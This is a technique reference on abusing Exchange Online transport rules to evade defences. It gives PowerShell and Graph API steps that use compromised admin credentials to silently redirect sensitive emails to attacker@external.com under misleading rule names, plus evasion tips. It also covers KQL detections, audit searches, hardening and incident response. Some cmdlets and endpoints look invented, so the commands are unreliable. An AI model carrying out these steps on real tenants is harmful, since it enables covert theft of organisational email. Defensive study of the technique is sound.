| Attribute | Details |
|---|---|
| Technique ID | EVADE-IMPAIR-009 |
| MITRE ATT&CK v18.1 | T1562 - Impair Defenses |
| Tactic | Defense Evasion |
| Platforms | M365 (Exchange Online) |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | Exchange Online (All versions) |
| Patched In | N/A (Requires policy hardening) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Exchange Online transport rules (mail flow rules) are a legitimate administrative feature that control email routing, filtering, and modification. An attacker with Global Admin, Exchange Admin, or delegated permissions can create, modify, or delete transport rules to hide malicious emails, bypass security policies (DLP, Anti-Phishing, Anti-Spam), exfiltrate data, or disable audit trail visibility. These rules operate at the organization level and apply to all mailboxes, making them a powerful defense evasion mechanism. Unlike inbox rules (which apply to individual mailboxes), transport rules are difficult to detect without proper M365 audit logging and monitoring.
Attack Surface: Exchange Online transport rule management interface (Exchange Admin Center web portal, PowerShell, Graph API), email filtering engine, audit log configuration.
Business Impact: Complete Email Security Bypass. An attacker can silently hide phishing campaigns from security teams, redirect confidential emails to external recipients without triggering DLP alerts, quarantine legitimate internal communications, or disable email warnings/disclaimers. This enables data exfiltration, insider threat amplification, and continued malware delivery without detection.
Technical Context: Transport rule creation takes seconds via PowerShell or ECP (Exchange Control Panel). Most organizations lack granular alerting on transport rule creation; detection typically relies on audit log ingestion into Sentinel or third-party SIEM. An attacker operating with compromised admin credentials can create rules that are nearly indistinguishable from legitimate administrative activity.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 6.3.1 | Ensure that only mail flow rules with legitimate business purposes are created; disable suspicious rules. |
| DISA STIG | Microsoft.Exchange.Database.12445 | Audit Exchange transport rule modifications; alert on rule creation by non-authorized accounts. |
| CISA SCuBA | Exchange.1.1 | Enable unified audit logging for all Exchange Online administrator actions, including transport rule creation. |
| NIST 800-53 | AU-3, AC-3 | Audit administrative actions; enforce access control on mail flow configuration. |
| GDPR | Art. 32 | Security of Processing—transport rules that hide personal data processing violate transparency obligations. |
| DORA | Art. 9 | Protection and Prevention—email security is critical to ICT operational resilience. |
| NIS2 | Art. 21 | Organizations must detect and respond to email security control modifications. |
| ISO 27001 | A.9.2.3, A.12.4.1 | Management of Privileged Access Rights; audit logs for administrator actions. |
| ISO 27005 | Risk Scenario | “Unauthorized modification of email security policies by compromised admin account.” |
https://admin.exchange.microsoft.com/ or PowerShell connectivity to https://ps.outlook.com (Exchange Online Management API).Supported Versions:
Tools:
Objective: Enumerate existing transport rules to identify naming patterns, conditions, and actions—useful for crafting evasive rules that blend in with legitimate rules.
Command:
# Connect to Exchange Online
Connect-ExchangeOnline -UserPrincipalName admin@contoso.com
# Enumerate all transport rules
Get-TransportRule | Select-Object Name, Description, Enabled, Priority, State | Format-Table -AutoSize
# Show detailed rules including conditions and actions
Get-TransportRule | Select-Object Name, Conditions, Actions, ExceptIfRecipientDomainIs | Format-List
What to Look For:
SetHeaderName: X-MS-Exchange-Organization-SkipLists or RedirectMessage actions).Version Note: All commands work on Exchange Online (no version differences; it is a cloud service).
Objective: Check audit logging and conditional access policies that might detect transport rule creation.
Command:
# Check if unified audit logging is enabled
az rest --method get \
--url "https://graph.microsoft.com/beta/audit/directoryAudits?$filter=activityDisplayName eq 'New-TransportRule'" \
--headers "Authorization=Bearer {access_token}"
# List audit log entries for transport rule modifications (last 7 days)
az rest --method get \
--url "https://graph.microsoft.com/v1.0/auditLogs/directoryAudits?$filter=startswith(activityDisplayName,'Transport Rule')" \
--headers "Authorization=Bearer {access_token}"
What to Look For:
New-TransportRule or Set-TransportRule events indicates poor monitoring.Supported Versions: Exchange Online (all versions)
Objective: Establish authenticated session to Exchange Online PowerShell using compromised admin credentials or delegated token.
Command:
# Interactive authentication with compromised admin account
$AdminCredential = Get-Credential # Prompt for compromised admin UPN and password
Connect-ExchangeOnline -Credential $AdminCredential
# Alternative: Using token-based auth (if token is stolen)
Connect-ExchangeOnline -AccessToken $AccessToken
Expected Output:
Organization : contoso.onmicrosoft.com
UserPrincipalName : admin@contoso.com
ConnectionUri : https://ps.outlook.com/powershell-liveid/
LastConnectionTime : [timestamp]
What This Means:
OpSec & Evasion:
Troubleshooting:
-InlineCredential flag if MFA is required.Objective: Create a transport rule that silently hides, deletes, or redirects emails matching specific criteria (e.g., phishing emails, sensitive keywords, external recipients).
Command (Hide Emails Containing Specific Keywords):
# Create a rule that marks emails as spam and moves them to quarantine (invisible to users)
New-TransportRule -Name "Policy Compliance - DLP Bypass" `
-Conditions @(New-TransportRuleCondition -HasClassification "NorthwindTraders - Confidential") `
-Actions @(Set-TransportRuleAction -SetHeaderName "X-Priority" -SetHeaderValue "5", `
Set-TransportRuleAction -SetScamProperties -IncludeOriginalHeaders $false) `
-Priority 1 `
-Enabled $true
Alternative (Redirect Emails to External Recipient):
# Create a rule that silently copies emails to attacker's external email address
New-TransportRule -Name "Archive Compliance Emails" `
-Conditions @( `
New-TransportRuleCondition -SubjectContainsWords "confidential", "secret", "password" `
) `
-Actions @( `
New-TransportRuleAction -RedirectMessage "attacker@external.com" `
) `
-Priority 0 `
-Enabled $true `
-Description "Automated archival of sensitive communications" # Misleading description
Expected Output:
Name : Archive Compliance Emails
Description : Automated archival of sensitive communications
Enabled : True
State : Enabled
Priority : 0
Conditions : {(Subject contains "confidential", "secret", "password")}
Actions : {Redirect message to attacker@external.com}
What This Means:
SetScamProperties).OpSec & Evasion:
Troubleshooting:
-Confirm:$false to bypass confirmation dialogs.Objective: Create a rule that exempts certain senders or recipients from DLP policies, allowing them to send sensitive data undetected.
Command:
# Create rule that exempts internal accounts from DLP by removing DLP report generation
New-TransportRule -Name "Executive Communication Exemption" `
-Conditions @(New-TransportRuleCondition -FromAddresses "cfo@contoso.com", "ceo@contoso.com") `
-Actions @(Set-TransportRuleAction -SetHeaderName "X-DLP-Bypass" -SetHeaderValue "True") `
-Priority 0 `
-Enabled $true
Expected Output:
Priority: 0
Name: Executive Communication Exemption
FromAddresses: cfo@contoso.com, ceo@contoso.com
SetHeaderName: X-DLP-Bypass
Actions: Set header "X-DLP-Bypass" to "True"
What This Means:
OpSec & Evasion:
References & Proofs:
Supported Versions: Exchange Online (all versions)
Objective: Access the graphical interface to create rules without PowerShell.
Manual Steps:
https://admin.exchange.microsoft.com/ using compromised admin credentials.Expected Output:
OpSec & Evasion:
Objective: Create hiding/redirection rule through graphical workflow.
Manual Steps:
"Policy Compliance - Archive External Communications" (misleading name)."external-domain.com" (attacker’s domain).Expected Outcome:
OpSec & Evasion:
References:
Supported Versions: Exchange Online (all versions via Graph API)
Objective: Acquire OAuth token for Graph API to manipulate rules programmatically.
Command:
# Using MSAL (Microsoft Authentication Library)
$ClientID = "your-app-id"
$ClientSecret = "your-app-secret"
$TenantID = "contoso.onmicrosoft.com"
$TokenEndpoint = "https://login.microsoftonline.com/$TenantID/oauth2/v2.0/token"
$TokenBody = @{
grant_type = "client_credentials"
client_id = $ClientID
client_secret = $ClientSecret
scope = "https://graph.microsoft.com/.default"
}
$TokenResponse = Invoke-RestMethod -Uri $TokenEndpoint -Method POST -Body $TokenBody
$AccessToken = $TokenResponse.access_token
Expected Output:
access_token: eyJ0eXAiOiJKV1QiLCJhbGc...
expires_in: 3600
token_type: Bearer
What This Means:
OpSec & Evasion:
Objective: Create hiding rule using Graph API endpoint.
Command:
$RuleBody = @{
displayName = "Compliance Email Routing"
description = "Automated routing of compliance-related emails"
isEnabled = $true
conditions = @{
subjectContains = @("confidential", "patent", "strategy")
}
actions = @{
redirectTo = @("attacker@external.com")
}
priority = 0
} | ConvertTo-Json
$GraphURL = "https://graph.microsoft.com/v1.0/admin/exchange/transportRules"
Invoke-RestMethod -Uri $GraphURL `
-Method POST `
-Headers @{Authorization = "Bearer $AccessToken"; "Content-Type" = "application/json"} `
-Body $RuleBody
Expected Output:
{
"id": "rule-guid-12345",
"displayName": "Compliance Email Routing",
"isEnabled": true,
"priority": 0,
"conditions": { "subjectContains": ["confidential", "patent", "strategy"] },
"actions": { "redirectTo": ["attacker@external.com"] }
}
What This Means:
OpSec & Evasion:
References:
Step 1: Verify Rule Creation
# Confirm rule is active
Get-TransportRule -Identity "Policy Compliance - Archive External Communications"
Expected Output:
Name : Policy Compliance - Archive External Communications
Enabled : True
Priority : 0
State : Enabled
Step 2: Test Rule Functionality
# Send test email matching rule condition
# From: admin@contoso.com
# To: external-domain.com
# Subject: Contains "confidential"
# Verification: Email should not arrive at external-domain.com; instead, it should be redirected to attacker@external.com
Step 3: Verify Audit Logging (For Detection Testing)
# Check if rule creation was logged
Search-UnifiedAuditLog -Operations New-TransportRule -StartDate (Get-Date).AddHours(-1) | Select-Object UserIds, Operations, AuditData
Expected Output:
UserIds : admin@contoso.com
Operations: New-TransportRule
AuditData : {"ObjectModified":"rule-id","ModifiedProperties":[...]}
Version: 3.0+ (current) Minimum Version: 2.0 Supported Platforms: Windows PowerShell 5.0+, PowerShell 7.x, Windows, macOS, Linux
Installation:
# Install module
Install-Module -Name ExchangeOnlineManagement -Force
# Update to latest version
Update-Module -Name ExchangeOnlineManagement
Usage:
# Import and connect
Import-Module ExchangeOnlineManagement
Connect-ExchangeOnline
# Create rule
New-TransportRule -Name "Test Rule" -Conditions @(...) -Actions @(...)
# Remove rule
Remove-TransportRule -Identity "Test Rule" -Confirm:$false
Version-Specific Notes:
Rule Configuration:
AuditLogsActivityDisplayName, InitiatedBy, OperationName, TargetResourcesKQL Query:
AuditLogs
| where OperationName =~ "New-TransportRule"
| where InitiatedBy has "@"
| extend InitiatedByUpn = InitiatedBy.userPrincipalName
| extend TargetRuleName = TargetResources[0].displayName
| extend RuleConditions = TargetResources[0].modifiedProperties
| where InitiatedByUpn !in ("admin@contoso.com", "service@contoso.com")
| summarize count() by InitiatedByUpn, TargetRuleName, bin(TimeGenerated, 5m)
| where count_ > 0
What This Detects:
New-TransportRule operations.Manual Configuration Steps (Azure Portal):
Suspicious Transport Rule CreationCritical5 minutes1 hourUser (InitiatedByUpn), Resource (TargetRuleName)Manual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
$Query = @"
AuditLogs
| where OperationName =~ "New-TransportRule"
| where InitiatedBy has "@"
| extend InitiatedByUpn = InitiatedBy.userPrincipalName
| where InitiatedByUpn !in ("admin@contoso.com", "service@contoso.com")
"@
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "Suspicious Transport Rule Creation" `
-Query $Query `
-Severity "Critical" `
-Enabled $true
Source: Splunk Research - O365 Email Transport Rule Changed
Rule Configuration:
AuditLogs, EnrichedMailFlowEvents (if available)KQL Query:
AuditLogs
| where OperationName =~ "Set-TransportRule" or OperationName =~ "New-TransportRule"
| where tostring(TargetResources[0].modifiedProperties) contains "RedirectMessage"
| extend RedirectTarget = extract("RedirectMessage.*?\"([^\"]+)\"", 1, tostring(TargetResources[0].modifiedProperties))
| where RedirectTarget !endswith "@contoso.com" and RedirectTarget !endswith "@contoso.onmicrosoft.com"
| extend InitiatedByUpn = InitiatedBy.userPrincipalName
| project TimeGenerated, InitiatedByUpn, OperationName, RedirectTarget, TargetResources[0].displayName
What This Detects:
This technique is cloud-native (M365) and does not generate Windows Event Logs on on-premises systems. However, hybrid environments may capture some telemetry via Azure AD Connect or on-premises Exchange servers.
Relevant Logs:
Manual Configuration Steps (Enable Unified Audit Logging):
Manual Configuration Steps (Search for Transport Rule Events):
New-TransportRuleSet-TransportRuleRemove-TransportRuleAlert Name: “Suspicious Transport Rule Created or Modified”
Manual Configuration Steps (Enable Defender for Cloud):
Reference: Microsoft Defender for Cloud - Cloud Apps Security Alerts
Connect-ExchangeOnline
# Search for all transport rule creation events
Search-UnifiedAuditLog -Operations "New-TransportRule" `
-StartDate (Get-Date).AddDays(-7) `
-EndDate (Get-Date) | Select-Object UserIds, Operations, CreationDate, AuditData
# Search for rule modifications
Search-UnifiedAuditLog -Operations "Set-TransportRule" `
-StartDate (Get-Date).AddDays(-7) | Select-Object UserIds, Operations, AuditData
# Export to CSV for analysis
Search-UnifiedAuditLog -Operations "New-TransportRule", "Set-TransportRule" `
-StartDate (Get-Date).AddDays(-7) | Export-Csv -Path "C:\TransportRuleAudit.csv" -NoTypeInformation
Operation Details:
New-TransportRule, Set-TransportRule, Remove-TransportRuleRuleName: Name of the rule (often misleading).Conditions: Email matching criteria.Actions: Email routing/modification actions (look for RedirectMessage, DeleteMessage).Priority: Rule execution order (0 = executed first).Manual Configuration Steps (Audit Log Search):
New-TransportRule1. Enforce Strict RBAC on Transport Rule Management
An organization must restrict who can create or modify transport rules. Most security breaches involve over-privileged accounts.
Applies To Versions: Exchange Online (all versions)
Manual Steps (Azure Portal - Entra ID Roles):
Manual Steps (PowerShell):
# Connect to Exchange Online and Entra ID
Connect-ExchangeOnline
Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory"
# Get all members of Exchange Admin role
$ExchangeAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Exchange Administrator'"
$Members = Get-MgDirectoryRoleMember -DirectoryRoleId $ExchangeAdminRole.Id
# Remove suspicious members
foreach ($Member in $Members) {
Write-Host "Exchange Admin: $($Member.DisplayName) - $($Member.Mail)"
}
# Remove a member if compromised
Remove-MgDirectoryRoleMemberByRef -DirectoryRoleId $ExchangeAdminRole.Id -DirectoryObjectId $SuspiciousMemberId
2. Enable Privileged Identity Management (PIM) for Exchange Admin Role
Require just-in-time (JIT) activation for transport rule management, ensuring temporary elevated access with approval workflows.
Manual Steps (PIM Configuration):
3. Disable Delegated Exchange Admin Access
Ensure no non-admin accounts have delegated “Transport Rule Management” roles.
Manual Steps (PowerShell):
# List all role assignments
$RoleAssignments = Get-ManagementRoleAssignment -Filter "Role -eq 'Transport Rule Management'"
foreach ($Assignment in $RoleAssignments) {
Write-Host "Role Assignment: $($Assignment.Name) assigned to $($Assignment.AssigneeType)"
if ($Assignment.AssigneeType -ne "SecurityGroup") {
Write-Warning "Non-group assignment detected! Review and remove if not needed."
Remove-ManagementRoleAssignment -Identity $Assignment.Identity -Confirm:$false
}
}
4. Implement Conditional Access Policy to Restrict Admin Access
Require additional verification (device compliance, trusted location, MFA) when admins access Exchange Admin Center.
Manual Steps:
"Restrict EAC Access to Compliant Devices"5. Block Legacy Authentication for Admin Accounts
Ensure admins cannot use legacy protocols (Basic Auth, SMTP, POP, IMAP).
Manual Steps:
"Block Legacy Auth for Admins"Conditional Access Policies:
RBAC/ABAC Hardening:
Transport Rule Management role if absolutely necessary; avoid blanket Exchange Admin role.# Assign Exchange Admin role scoped to Administrative Unit
New-RoleAssignment -RoleDefinitionId <Exchange-Admin-Role-ID> `
-ObjectId <User-ID> `
-AdministrativeUnitId <AU-ID>
Validation Command (Verify Mitigations):
# Verify PIM is enabled for Exchange Admin role
Get-AzureADMSPrivilegedRoleDefinition -DisplayName "Exchange Administrator" |
Select-Object DisplayName, Enabled
# Check for active (non-eligible) Exchange Admin assignments
$ExchangeAdmins = Get-AzureADDirectoryRole -Filter "displayName eq 'Exchange Administrator'"
$Members = Get-AzureADDirectoryRoleMember -ObjectId $ExchangeAdmins.ObjectId
$Members | Select-Object DisplayName, Mail, ObjectType
Expected Output (If Secure):
DisplayName: Exchange Administrator
Enabled: True (PIM active)
Members: (Only 1-2 trusted admins listed)
What to Look For:
Audit Log Indicators:
OperationName: New-TransportRule, Set-TransportRuleAuditData.RuleName: Contains generic/misleading names (e.g., “Compliance”, “Archive”, “Policy”)AuditData.Actions: Contains RedirectMessage, DeleteMessage, or SetHeaderNameAuditData.Conditions.SenderAddressContainsWords: External attacker domainsInitiatedBy.userPrincipalName: Non-Exchange-Admin account or unusual access timeEmail Flow Indicators:
Forensic Artifacts:
AuditData blob contains full rule definitionAuditLogs table# Check account's recent activity
Search-UnifiedAuditLog -UserIds "admin@contoso.com" -StartDate (Get-Date).AddDays(-7) |
Select-Object Operations, CreationDate | Sort-Object CreationDate -Descending | Head -20
# Check for MFA changes
Search-UnifiedAuditLog -Operations "Set-User" -UserIds "admin@contoso.com" -StartDate (Get-Date).AddDays(-7)
# Remove the suspicious transport rule
Remove-TransportRule -Identity "Policy Compliance - Archive External Communications" -Confirm:$false
# Verify deletion
Get-TransportRule -Identity "Policy Compliance - Archive External Communications" -ErrorAction SilentlyContinue
# Should return: Error - rule not found
# Export full rule details before deletion (for forensics)
Get-TransportRule -Identity "Suspicious Rule" | Export-Clixml -Path "C:\Evidence\SuspiciousRule.xml"
# Export audit logs
Search-UnifiedAuditLog -Operations "New-TransportRule", "Set-TransportRule" `
-StartDate (Get-Date).AddDays(-30) |
Export-Csv -Path "C:\Evidence\TransportRuleAudit.csv" -NoTypeInformation
# Reset compromised admin password
Set-AzureADUserPassword -ObjectId "admin@contoso.com" -Password (ConvertTo-SecureString -AsPlainText "NewStrongPassword123!" -Force) -Confirm:$false
# Force sign-out of all sessions
Revoke-AzureADUserAllRefreshToken -ObjectId "admin@contoso.com"
# Require MFA re-registration
Set-MsolUserPassword -UserPrincipalName "admin@contoso.com" -NewPassword (ConvertTo-SecureString -AsPlainText "NewStrongPassword123!" -Force) -ForceChangePassword $true
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent Grant OAuth Attacks | Attacker gains access via compromised admin account through phishing or OAuth app compromise. |
| 2 | Privilege Escalation | [PE-ACCTMGMT-014] Global Administrator Backdoor | Attacker assigns self additional admin roles to maintain persistence. |
| 3 | Defense Evasion | [EVADE-IMPAIR-009] | Attacker creates transport rule to hide evidence of phishing campaign or data exfiltration. |
| 4 | Collection | [COLLECT-EMAIL-001] Email Collection via EWS | Attacker uses transport rule-redirected emails to collect sensitive data. |
| 5 | Exfiltration | [COLLECT-EMAIL-002] Outlook Mailbox Export | Attacker exports full mailbox contents and exfiltrates via compromised account. |
Transport rules are a powerful yet often-overlooked attack surface in M365 environments. An attacker with compromised admin credentials can:
Key Defense Recommendations:
Organizations must treat transport rule management with the same vigilance as they do privileged account access, as the risk of silent data theft is substantial.